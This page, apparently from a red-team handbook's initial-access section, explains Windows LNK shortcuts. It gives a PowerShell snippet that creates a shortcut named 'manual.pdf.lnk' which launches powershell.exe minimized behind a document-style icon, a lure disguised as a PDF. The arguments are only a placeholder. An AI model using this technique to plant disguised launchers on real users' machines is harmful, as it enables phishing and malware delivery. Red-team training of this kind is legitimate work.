> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk.md).

# LNK

LNK is the file extension used for shortcuts in Windows. These shortcuts can run an executable with arbitrary parameters.&#x20;

You can use the GUI to change the icon and parameters of a LNK file, or you could do it programmatically like so:

```
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("manual.pdf.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '-args '
$Shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$Shortcut.HotKey           = "CTRL+O"
$Shortcut.Save()
```
